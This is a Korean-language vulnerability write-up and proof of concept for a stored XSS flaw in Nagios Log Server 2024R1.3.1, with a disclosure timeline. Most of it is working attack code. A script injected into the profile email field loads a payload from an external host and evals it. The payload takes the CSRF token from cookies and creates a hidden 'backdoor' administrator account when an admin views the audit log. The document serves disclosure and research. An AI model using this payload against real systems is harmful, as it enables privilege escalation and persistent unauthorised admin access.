
Nagios Log Server 2024R1.3.1의 저장된 XSS
2024R1.3.1 및 이하Nagios Log Server 2024R1.3.1 (기본 구성, Ubuntu 20.04)CWE-79CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H승인된 테스트 및 연구 목적으로만 사용하십시오. 귀하가 소유하지 않거나 명시적 테스트 허가를 받지 않은 시스템에서 이 취약점을 테스트 또는 악용하지 마십시오.
Nagios Log Server 2024R1.3.1의 저장형 XSS 취약점으로 인해 낮은 권한의 사용자가 프로필의 'email' 필드에 악성 JavaScript를 주입할 수 있습니다.
관리자가 감사 로그를 확인하면 페이로드가 실행되어 권한이 없는 관리자 계정 생성으로 인한 권한 상승이 발생합니다.
외부 서버에 다음 내용의 xss.js 페이로드를 호스팅하세요. Github도 잘 작동합니다.
<target-ip>를 Nagios Log Server 대상의 IP/호스트명으로 업데이트하세요.
(function() {
console.log("🔥[XSS] Payload Executing...🔥");
var csrfTokenMatch = document.cookie.match(/csrf_ls=([^;]+)/);
if (!csrfTokenMatch) return;
var csrfToken = encodeURIComponent(csrfTokenMatch[1]);
console.log("[XSS] CSRF Token:", csrfToken);
var requestBody = "csrf_ls=" + csrfToken +
"&name=backdoor" +
"&[email protected]" +
"&username=backdoor" +
"&password=Password123!" +
"&password2=Password123!" +
"&auth_type=admin" +
"&apiaccess=1" +
"&language=en_US" +
"&account_type=local";
fetch("http://<target-ip>/nagioslogserver/admin/users/create", {
method: "POST",
headers: { "Content-Type": "application/x-www-form-urlencoded" },
body: requestBody
})
.then(response => response.text())
.then(function(data) {
console.log("🔥[XSS] User Created Successfully!🔥");
console.log(data);
})
.catch(console.error);
})();
Nagios Log Server에 표준(비관리자) 사용자로 로그인합니다.
프로필 업데이트 엔드포인트로 이동합니다:
http://<target-ip>/nagioslogserver/profile/update
이메일 필드에 다음 페이로드를 주입합니다. fetch 줄을 xss.js가 저장된 URL로 업데이트하세요.
<script>
fetch("https://<EXTERNAL-HOST>/xss.js")
.then(response => response.text())
.then(scriptText => eval(scriptText))
.catch(console.error);
</script>
사용자 이름: backdoor
비밀번호: Password123!
backdoor로 전체 관리자 액세스 권한으로 로그인합니다.Nagios Log Server 2024R2 출시Nagios Log Server 2024R2가 저장형 XSS 취약점을 해결했는지 테스트 및 확인하고 Nagios에 업데이트CVE-2025-29471을 예약했지만, 공급업체의 공개 보안 권고가 없어 세부 정보는 공개되지 않음2024R1.3.2)을 출시하여 저장형 XSS 취약점 수정 사항을 2024R1 브랜치로 백포트CVE-2025-29471이 공식적으로 게시됨이 작업은 저의 고용 외부에서 수행되었으며 사이버 보안 연구에 대한 개인적인 노력을 반영합니다.